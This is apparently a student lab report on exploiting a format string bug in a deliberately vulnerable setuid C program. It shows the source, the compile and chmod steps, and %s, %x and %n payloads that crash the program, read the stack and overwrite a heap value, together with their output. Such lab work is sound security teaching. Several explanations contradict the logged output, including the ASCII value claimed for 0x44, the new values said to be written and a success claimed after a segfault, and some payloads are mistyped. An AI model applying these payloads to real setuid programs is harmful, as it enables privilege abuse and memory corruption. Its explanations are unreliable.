

Lab5: Format String Vulnerability

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Task 1: Exploit the Vulnerability

1. Crash the Program which I named it "format.c"

```
md@md-VirtualBox:~/Desktop$ gcc -o format format.c
format.c: In function 'main':
format.c:20:67: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    printf("The variable secret's address is 0x%8x (on stack)\n", (unsigned int)&secret);
                                                                    ^
format.c:21:64: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    printf("The variable secret's value is 0x%8x (on heap)\n", (unsigned int)secret);
                                                                    ^
format.c:22:56: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    printf("secret[0]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[0]);
                                                                    ^
format.c:23:56: warning: cast from pointer to integer of different size [-Wpointer-to-int-cast]
    printf("secret[1]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[1]);
                                                                    ^
format.c:31:12: warning: format not a string literal and no format arguments [-Wformat-security]
    printf(user_input);
    ~~~~~^
md@md-VirtualBox:~/Desktop$ chmod 4755 format
md@md-VirtualBox:~/Desktop$ ls -l format
-rwsr-xr-x 1 md md 16720 Mar 29 15:56 format
md@md-VirtualBox:~/Desktop$ ./format
The variable secret's address is 0x6199c1c8 (on stack)
The variable secret's value is 0xcab9d260 (on heap)
secret[0]'s address is 0xcab9d260 (on heap)
secret[1]'s address is 0xcab9d264 (on heap)
Please enter a decimal integer
123
Please enter a string
%s%s%s%s%s%s%s%s%s%s%s%s%s
Segmentation fault (core dumped)
```

Observation: I compile our format.c and ignore the warning and make it a Set UID program and run the program and enter our format string with a number of %s t crash our program and we notice that we are successful as there is a Segmentation Fault.

2. Print out secret [1] value

```
md@md-VirtualBox:~/Desktop$ ./format
The variable secret's address is 0x2b7ac9d8 (on stack)
The variable secret's value is 0xf55f8260 (on heap)
secret[0]'s address is 0xf55f8260 (on heap)
secret[1]'s address is 0xf55f8264 (on heap)
Please enter a decimal integer
14235724
Please enter a string
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Segmentation fault (core dumped)
```

Figure 2

Observation: This time we enter our format string as a number of %x as our format string to printf statement.

Explanation: To know the address of secret [1], we need to let int_input contain the address of secret [1], then using %x to move the pointer back when the program run call printf to try to output user input.

The above screenshot, we are trying to find where is the int_input located, i.e. how many “%x” do we need to make pointer move to the int_input position.

```
md@md-VirtualBox:~/Desktop$
md@md-VirtualBox:~/Desktop$ ./format
The variable secret's address is 0x584b6568 (on stack)
The variable secret's value is 0x3fbd7260 (on heap)
secret[0]'s address is 0x3fbd7260 (on heap)
secret[1]'s address is 0x3fbd7264 (on heap)
Please enter a decimal integer
123456789
Please enter a string
%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x|%x
1|56f98d0|0|0|0|584b66c8|0|0|3fbd7260|257c7825|7c78257c|78257c78|
257c7825
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
```

Figure 3

Observation: I successfully identified the location of secret [1]. So, I added a %s to display the value at that position.

Explanation: The print result is „U“, because the original value of secret [1] is „0x44“, which corresponds to ASCII „U“.

3. Modify secret [1] value

```
md@md-VirtualBox:~/Desktop$ ./format
The variable secret's address is 0xbcf49688 (on stack)
The variable secret's value is 0xc9e23260 (on heap)
secret[0]'s address is 0xc9e23260 (on heap)
secret[1]'s address is 0xc9e23264 (on heap)
Please enter a decimal integer
138088460
Please enter a string
%x|%x|%x|%x|%x|%x|%x|%x|%n
1|bcb4f8d0|0|0|0|bcb4f8d0|0|0|
The original secrets: 0x44 -- 0x55
The new secrets:      0x1e -- 0x55
```

Figure 4

Observation: In our format string to printf, we add %n at the position of secret [1].

Explanation: Usually, printf function could not set value to variable, but when format string contains “%n”, it will write the number of the string that written to the variable that address point to.

4. Modify secret [1] to a predetermined value

```
md@md-VirtualBox:~/Desktop$ ./format
The variable secret's address is 0xa9687908 (on stack)
The variable secret's value is 0xc2165260 (on heap)
secret[0]'s address is 0xc2165260 (on heap)
secret[1]'s address is 0xc2165264 (on heap)
Please enter a decimal integer
149422092
Please enter a string
%x20%x04%x%x%x%x%x%x%x%n
120449ad8d004000a9687a6800
The original secrets: 0x44 -- 0x55
The new secrets:      0x1a -- 0x55
```

Figure 5

Observation and Explanation: We add 4 numbers in format string and value of secret[1] is now 0x34 which is 4 less than 0x38.

Task 2: Memory randomization

```

md@md-VirtualBox:~$ cd Desktop
md@md-VirtualBox:~/Desktop$ sudo chmod 4755 format
[sudo] password for md:
md@md-VirtualBox:~/Desktop$ ls -l format
-rwsr-xr-x 1 md md 16720 Mar 29 15:56 format
md@md-VirtualBox:~/Desktop$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
md@md-VirtualBox:~/Desktop$ exit

```

figure 6

```

md@md-VirtualBox:~$ cd Desktop
md@md-VirtualBox:~/Desktop$ sudo chmod 4755 format
[sudo] password for md:
md@md-VirtualBox:~/Desktop$ ls -l format
-rwsr-xr-x 1 md md 16720 Mar 29 15:56 format
md@md-VirtualBox:~/Desktop$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
md@md-VirtualBox:~/Desktop$ ./format
The variable secret's address is 0xffffdfe8 (on stack)
The variable secret's value is 0x55559260 (on heap)
secret[0]'s address is 0x55559260 (on heap)
secret[1]'s address is 0x55559264 (on heap)
Please enter a decimal integer
21
Please enter a string
21
21
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55
md@md-VirtualBox:~/Desktop$ ./format
The variable secret's address is 0xffffdfe8 (on stack)
The variable secret's value is 0x55559260 (on heap)
secret[0]'s address is 0x55559260 (on heap)
secret[1]'s address is 0x55559264 (on heap)
Please enter a decimal integer

```

Figure 7

Observation: This time, we delete the scanf statement for int_input. So i needed to add the address of secret [1] at the top of user_input. We use two malloc () functions to achieve that lucky situation. We also turn off address randomization for this task. Now we can notice from Figure 6 that the address of secret [1] remains constant.

```

GNU nano 2.9.8                                format.c
#include<stdio.h>
#include<stdlib.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
    char user_input[100];
    int *secret;
    int int_input;
    int a, b, c, d; /* other variables, not used here.*/

    /* The secret value is stored on the heap */
    secret = (int *) malloc(2*sizeof(int));

    /* getting the secret */
    secret[0] = SECRET1; secret[1] = SECRET2;

    printf("The variable secret's address is 0x%8x (on stack)\n", (unsigned int)&secret);
    printf("The variable secret's value is 0x%8x (on heap)\n", (unsigned int)secret);
    printf("secret[0]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[0]);
    printf("secret[1]'s address is 0x%8x (on heap)\n", (unsigned int)&secret[1]);

    printf("Please enter a decimal integer\n");
    scanf("%d", &int_input); /* getting an input from user */
    printf("Please enter a string\n");
    scanf("%s", user_input); /* getting a string from user */

    /* Vulnerable place */
    printf(user_input);
    printf("\n");

    /* Verify whether your attack is successful */
    printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
    printf("The new secrets:      0x%x -- 0x%x\n", secret[0], secret[1]);
    return 0;
}

```

Figure 8

```
GNU nano 2.9.8                                string.c                                Modified

#include <sys/types.h>
#include <stdio.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>

int main()
{
    char buf[1000];
    int fp, size;
    unsigned int *address;

    /* Putting any number you like at the beginning of the format string */
    address = (unsigned int *) buf;
    *address = 0x804b01c;

    /* Getting the rest of the format string */
    scanf("%s", buf+4);
    size = strlen(buf+4) + 4;
    printf("The string length is %d\n", size);

    /* Writing buf to "mystring" */
    fp = open("mystring", O_RDWR | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
    if (fp != -1) {
        write(fp, buf, size);
        close(fp);
    } else {
        printf("Open failed!\n");
    }
}
```

Figure 9

Observation: We use string.c program to inject our format string in the vulnerable program now. We can notice that our address of secret [1] is located after 9 addresses i.e. we need 9 %x to point to the address of secret [1].


```

md@md-VirtualBox:~/Desktop$ nano string.c
md@md-VirtualBox:~/Desktop$ gcc -o string string.c
string.c: In function 'main':
string.c:26:9: warning: implicit declaration of function 'write'; did you mean 'fwrite'? [-Wimplicit-function-declaration]
    write(fp, buf, size);
    ^~~~~~
    fwrite
string.c:27:9: warning: implicit declaration of function 'close'; did you mean 'pclose'? [-Wimplicit-function-declaration]
    close(fp);
    ^~~~~~
    pclose
md@md-VirtualBox:~/Desktop$ ./string
%x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x|x
The string length is 45
md@md-VirtualBox:~/Desktop$ ./format < mystring
The variable secret's address is 0xffffdfe8 (on stack)
The variable secret's value is 0x55559260 (on heap)
secret[0]'s address is 0x55559260 (on heap)
secret[1]'s address is 0x55559264 (on heap)
Please enter a decimal integer
Please enter a string
1|f7fb38d0|fbad2098|0|0|ffffe148|0|0|55559260|804b01c|78257c78|257c7825|7c78257c|78257c78
The original secrets: 0x44 -- 0x55
The new secrets:      0x44 -- 0x55

```

Figure 10

Observation: Now we insert a format string with 9 %x and one %s to display the value of secret [1] and we get the value U which corresponds to 0x44.

```

md@md-VirtualBox:~/Desktop$ ./string
%x|x|x|x|x|x|x|x|x|x|s
The string length is 33
md@md-VirtualBox:~/Desktop$ ./format < mystring
The variable secret's address is 0xffffdfe8 (on stack)
The variable secret's value is 0x55559260 (on heap)
secret[0]'s address is 0x55559260 (on heap)
secret[1]'s address is 0x55559264 (on heap)
Please enter a decimal integer
Please enter a string
Segmentation fault (core dumped)
md@md-VirtualBox:~/Desktop$ ./string
%x%x21%x%07%x%x%x%x%x%n
The string length is 27
md@md-VirtualBox:~/Desktop$ ./format < mystring
The variable secret's address is 0xffffdfe8 (on stack)
The variable secret's value is 0x55559260 (on heap)
secret[0]'s address is 0x55559260 (on heap)
secret[1]'s address is 0x55559264 (on heap)
Please enter a decimal integer
Please enter a string
Segmentation fault (core dumped)

```

Figure 11

Observation and Explanation: Now i inserted a format string with %n to modify the value the secret [1]. I observed that we are able to modify secret [1] to 0x40.

Reference:

<https://github.com/aasthayadav/CompSecAttackLabs/tree/master/7.%20Format%20String%20Vulnerability>